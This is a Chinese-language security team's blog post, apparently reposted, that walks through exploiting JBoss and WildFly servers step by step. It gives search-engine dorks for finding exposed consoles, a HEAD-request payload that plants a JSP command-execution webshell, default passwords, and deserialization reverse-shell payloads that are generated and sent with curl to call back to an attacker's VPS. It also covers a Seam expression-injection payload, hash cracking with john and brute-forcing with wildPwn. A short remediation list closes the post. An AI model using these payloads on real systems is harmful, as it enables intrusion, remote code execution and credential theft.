Jboss漏洞利用
2022-9-3 00:2:15 Author: 白帽子(查看原文) 阅读量:50 收藏

声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

1、简介

Jboss是一个基于J2EE的开放源代码的应用服务器。JBoss高危漏洞主要涉及到以下两种。
第一种是利用未授权访问进入JBoss后台进行文件上传的漏洞,例如:CVE-2007-1036CVE-2010-0738,CVE-2006-5750以及JBoss jmx-consoleHtmlAdaptor addURL() File Upload Vulnerability
另一种是利用Java反序列化进行远程代码执行的漏洞,例如:CVE-2015-7501CVE-2017-7504CVE-2017-12149CVE-2013-4810

2、环境部署

JBoss主要版本下载链接:https://teddysun.com/260.html
https://jbossas.jboss.org/downloads/
jboos 7.1.1为例进行部署。
1、首先准备好jdk环境和相应的系统环境变量
2、然后执行C:\jboss-as-7.1.1.Final\bin>add-user.bat脚本,添加管理控制台用户,在Realm中保持默认。
3、编辑 C:\jboss-as-7.1.1.Final\standalone\configuration\standalone.xml文件,让jboss管理控制台和一些其它入口都对外开放,默认端口为8080
4、运行C:\jboss-as-7.1.1.Final\bin\standalone.bat脚本来启动jboss7即可
5、访问http://10.211.55.7:8080/jboss 7的默认管理控制台,发现已部署成功

3、服务探测与发现

1、公开搜索引擎,google语法、shodanfofa

fofa dork app="JBoss"
/web-console/Invoker
/invoker/JMXInvokerServlet
/jmx-console
/web-console
inurl:/console/ intitle:"JBoss Management"
inurl:/jmx-console/
inurl:/admin-console/
intitle:"Welcome to JBoss"
intitle:"jboss management console" "application server" version inurl:"web-console"
intitle:"JBoss Management Console – Server Information" "application server" inurl:"web-console" OR inurl:"jmx-console"

2、通过常规端口扫描来发现,另外直接在浏览器中查看http响应头中的 X-Powered-By 字段内容一般也能看到

实战中jboss很可能开放8080,9990,9999这三个端口,也可以全端口扫描避免遗漏

# nmap -sT -sV -Pn --open -p 1-65535 -v -n 10.211.55.7-10

4、访问控制不严导致的漏洞

4.1、JMX Console未授权访问Getshell

4.1.1、漏洞描述

此漏洞主要是由于JBoss/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进⼊到jmx控制台,并在其中执⾏任何功能。

4.1.2、影响版本

Jboss4.x以下

4.1.3、漏洞利⽤

1、首先访问http://10.211.55.7:8080/jmx-console/然后找到jboss.deployment(jboss 自带的部署功能)中的flavor=URL,type=DeploymentScanner点进去(通过 url 的方式远程部署)
2、找到页面中的void addURL()选项来远程加载war包来部署。

3、点击invoke之后会提示部署成功,如下
4、部署完成后回到flavor=URL,type=DeploymentScanner页面点击下属性列表中的”Apply change” 
5、最后访问⽊⻢地址为http://10.211.55.7:8080/bm1/index.jsp
6、通常像上面这样部署的webshell,物理路径默认都会在以下目录下 

C:\Users\tale\Desktop\jboss-4.2.3.GA\server\default\tmp\deploy\tmp1704732146918985209bm1-exp.wa

这个目录最多用作临时维持下权限,所以可以把shell传到jmx-console的默认目录来巩固权限

C:\Users\tale\Desktop\jboss-4.2.3.GA\server\default\deploy\jmx-console.war

4.2、JMX Console HtmlAdaptor Getshell(CVE-2007-1036)

4.2.1、漏洞描述

此漏洞主要是由于JBoss/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进⼊到jmx控制台,并在其中执⾏任何功能。该漏洞利⽤的是后台中jboss.admin -> DeploymentFileRepository -> store()⽅法,通过向四个参数传⼊信息,达到上传shell的⽬的,其中arg0传⼊的是部署的war包名字,arg1传⼊的是上传的⽂件的⽂件名,arg2传⼊的是上传⽂件的⽂件格式,arg3传⼊的是上传⽂件中的内容。通过控制这四个参数即可上传shell,控制整台服务器。但是通过实验发现,arg1arg2可以进⾏⽂件的拼接,例如arg1=she,arg2=ll.jsp。这个时候服务器还是会进⾏拼接,将shell.jsp传⼊到指定路径下

4.2.2、影响版本

Jboss4.x以下

4.2.3、漏洞利用

输⼊url:http://10.211.55.7:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository,定位到store⽅法
传⼊相应的值,即可getshell

4.3、JMX控制台安全验证绕过漏洞(CVE-2010-0738)

4.3.1、漏洞描述

该漏洞利⽤⽅法跟CVE-2007-1036⼀样,只是绕过了get和post传输限制,利⽤
head传输⽅式发送payload

4.3.2、影响版本

jboss4.2.0、jboss 4.3.0

4.3.3、漏洞利⽤

利⽤head传输⽅式,payload如下:

HEAD /jmx-console/HtmlAdaptor?
action=invokeOp&name=jboss.admin:service=DeploymentFileRepository&methodIn
dex=6&arg0=../jmx-console.war/&arg1=hax0rwin&arg2=.jsp&arg3=
<%Runtime.getRuntime().exec(request.getParameter("i"));%>&arg4=True
HTTP/1.1
Host: hostx:portx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.9)
Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive

4.4、Administration Console 弱⼝令 Getshell

4.4.1、漏洞描述

Administration Console存在默认密码admin admin,我们可以登录到后台部署war包getshell

4.4.2、影响版本

全版本

4.4.3、漏洞利⽤

jboss6.0版本为例
1、jboss6.x之后可以直接访问管理控制台/admin-console直接上传war包进行部署(通常默认密码为admin:admin
2、输⼊弱⼝令登录进去
3、点击Web application,然后点击右上⻆的add
4、把war包传上去即可getshell
4、也可以借助jboss漏洞利用的jexboss exp 工具集,完全一键纯傻瓜化利用,具体使用过程如下:
该工具适用于jboss < 5.x的版本,中间还有一些关于java反序列化,包括struts2和 jenkins的漏洞利用 

git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -u http://ip:8080

运行之后默认会自动匹配检测所有漏洞规则,如果漏洞存在则会逐个询问你是否要对其进行利用,利用成功后,便会返回一个半交互的jexboss shell

shell> help
# 通过 help 可以看到更多的关于 jexboss shell 内置的高级用法
shell> jexremote=ip:110
# 使用该命令可以直接反弹远程系统shell回来

4.5、CVE-2006-5750

此漏洞利用原理和CVE-2007-1036漏洞相同,唯一的区别是CVE-2006-5750漏洞利用methodIndex进行store()方法的调用。其中methodIndex是通过方法的编号进行调用。

5、反序列化RCE漏洞

5.1、JBosSAS 5.x,6.X 反序列化漏洞(CVE-2017-12149)

5.1.1、漏洞描述

此漏洞主要是由于jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFilter.class文件中的doFilter方法,再将序列化传入ois中,并没有进行过滤便调用了readObject()进行反序列化,导致传入的携带恶意代码的序列化数据执行,造成了反序列化的漏洞。

5.1.2、影响版本

JbossAS 5.x , JbossAS 6.x

5.1.3、漏洞利用

1、首先从http响应头和title中一般情况下都能看到信息来确定目标 jboss 版本是否在此漏洞版本范围

2、确定目标的 jboss 是否存在此漏洞,直接访问 poc url: http://192.168.3.81:8080/invoker/readonly 如果出现报 500 错误,则说明目标机器可能存在此漏洞
3、明确目标jboss可能存在此漏洞以后,接下来借助JavaDeserH2HC来完成整个利用过程

git clone https://github.com/joaomatosf/JavaDeserH2HC.git
cd JavaDeserH2HC/

4、首先尝试直接反弹shell,利用JavaDeserH2HC创建好用于反弹shell的 payload,如下

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap vps的ip:端口

4、然后尝试利用curl发送payload到目标机器上执行后,发现vps已成功接弹回的shell

curl http://www.target.net/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

5.2、JBOSSMQ JMS 集群反序列化漏洞(CVE-2017-7504)

5.2.1、漏洞描述

JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation LayerHTTPServerILServlet.java⽂件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码。

5.2.2、影响版本

JBoss AS 4.x及之前版本

5.2.3、漏洞利用

1、首先验证目标jboss是否存在此漏洞,直接访问 

poc url : http://10.211.55.7:8080/jbossmq-httpil/HTTPServerILServlet/

2、如果返回以下内容,则说明目标的jboss可能存在此漏洞,而后继续尝试进一步利用即可
3、此处我们使用JavaDeserH2HC工具来利用该漏洞,尝试直接弹回一个目标系统的原生 cmd shell

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 10.211.55.16:53
curl http://10.211.55.7:8080/jbossmq-httpil/HTTPServerILServlet/ --data-binary @ReverseShellCommonsCollectionsHashMap.ser

5.3、JBoss JMXInvokerServlet 反序列化漏洞 (CVE-2015-7501)

5.3.1、漏洞描述

由于JBossinvoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件⽀持Java反序列化

5.3.2、影响版本

实际上主要集中在 jboss 6.x 版本上:

 Apache Group Commons Collections 4.0
Apache Group Commons Collections 3.2.1
Apache Group Commons Collections

5.3.3、漏洞利用

验证是否存在此漏洞,直接访问 

poc url: http://target/invoker/JMXInvokerServlet

如果像下面一样直接提示下载,则说明目标可能存在此漏洞

下面使用JavaDeserH2HC 生成反弹 shell 的 payload

# cd JavaDeserH2HC/
# javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
# java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 公网vps的ip:端口号
# curl http://target/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

打开nc界⾯,发现shell已经弹回成功了。

5.4、JBoss EJBInvokerServlet 反序列化漏洞(CVE-2013-4810)

5.4.1、漏洞描述

此漏洞和CVE-2015-7501漏洞原理相同,两者的区别就在于两个漏洞选择的进行其中JMXInvokerServletEJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行的反序列化操作,而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation进行反序列化并上传构造的文件。

5.4.2、影响版本

实际上主要集中在 jboss 6.x 版本上:

 Apache Group Commons Collections 4.0
Apache Group Commons Collections 3.2.1
Apache Group Commons Collections

5.4.3、漏洞利用

跟CVE-2015-7501利⽤⽅法⼀样,只是路径不⼀样,这个漏洞利⽤路径
是 /invoker/EJBInvokerServlet

6、JBoss seam2模板注入

6.1、CVE-2010-1871

6.1.1、漏洞描述

JBossSeam是一个JavaEE5框架,把JSF与EJB3.0组件合并在一起,从而为开发基于Web的企业应用程序提供一个最新的模式。JBossSeam处理某些参数化JBossEL表达式的方式存在输入过滤漏洞。如果远程攻击者能够诱骗通过认证的JBossSeam用户访问特制的网页,就可能导致执行任意代码。

6.1.2、影响版本

Redhat Jboss_enterprise_application_platform:4.3.0 

6.1.3、漏洞利用

1、此漏洞是通过seam组件中插入#{payload}进行模板注入,可以在以下链接中插入要执行的方法,通过Java反射机制来获取到(Java.lang.Runtime.getRuntime().exec()方法),从而可以传入任何想要执行的命令。

/admin-console/login.seam?actionOutcome=/success.xhtml?user%3d%23{}的#{}

2、POC如下,其中cmd代表传入的远程命令。在/admin-console/login.seam路径下,POST传入构造好的payload,即可对此漏洞利用。

actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('Java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('Java.lang.Runtime')).exec(cmd)}

7、其它漏洞与利用

7.1、Jboss 7.x与WildFly控制台用户密码hash破解

搜集jboss中的所有密码,可以为后续内网横向移动提前做好准备
在7.x以下的版本,jboss用户密码通常默认都是直接明文保存在下面的文件中的

C:\Users\tale\Desktop\jboss-4.2.3.GA\server\default\conf\propsjmx-console-users.properties

而高版本的jbosswildfly通常都是加密保存在下面的文件中,默认密码加密格式为 
HEX( MD5( username ':' realm ':' password))

C:\services\wildfly-10.1.0.Final\standalone\configuration\mgmt-users.properties

john也对此算法支持,编号为1591,可以对其进行破解

# john --wordlist=password.list --format=dynamic_1591

7.2、Jboss < 7.x默认管理控制台弱口令爆破

jboss 6.x-7.x版本的默认管理控制台入口,因此版本默认没有强制复杂密码策略,所以比较容易出现弱口令。
Jboss 的常见弱口令:

admin:admin
admin:jboss
admin:password1!
jboss:admin
admin:ezoffice

7.3、Jboss > 7.x 和WildFly默认管理控制台弱口令爆破

jboss从8开始正式更名为WildFly ,在WildFly8之后的版本添加控制台用户时默认就会执行强密码策略,所以相对于之前低版本的jboss,针对WildFly之后版本的弱口令推荐wildPwn这款爆破工具

# git clone https://github.com/hlldz/wildPwn.git
# cd wildPwn
# python wildPwn.py -m brute --target 192.168.3.108 --port 8080 -user userList.txt -pass passList.txt

7.4、WildFly默认管理控制台部署webshell方法

1、通过账号密码登到 wildlfy 控制台页面后,找到 Deployments 选项,上传war
2、此处勾选启用Enable
3、提示成功后会直接部署到jboss根目录下,访问http://127.0.0.1:8080/cmd/cmd.jsp
4、访问木马webshell

7.5、Jboss常用工具分析

使用如下工具时,开启wireshark发现该工具只是探测目标是否存在CVE-2015-7501

filter : ip.addr==192.168.3.81 and tcp.port==8080 and http

通过简单的观察请求我们发现,常用的漏洞利用工具所探测的漏洞都已经非常老了,绝大多数用的还是CVE-2015-7501

8、漏洞修复

1.设置强口令
2.尽量不要开放到公网
3.在各个对外开放组件进行输入验证
4.限制来源IP 
5.升级到最新版

9、参考链接

https://www.freebuf.com/vuls/186948.html
https://klionsec.github.io/
https://www.jianshu.com/p/e34062e0a6f1
https://github.com/joaomatosf/JavaDeserH2HC
https://www.onebug.org/websafe/75730.html

E

N

D

guān

zhù

men

Tide安全团队正式成立于2019年1月是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

对安全感兴趣的小伙伴可以关注团队官网: http://www.TideSec.com 或长按二维码关注公众号:


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246328&idx=2&sn=e9c42e0e05ef402e4ede40b141236c4e&chksm=82ea5711b59dde0735220a4b6681134b8de3f929f8336ce08c9fc34546e2ba802c77a6e9f433#rd
如有侵权请联系:admin#unsafe.sh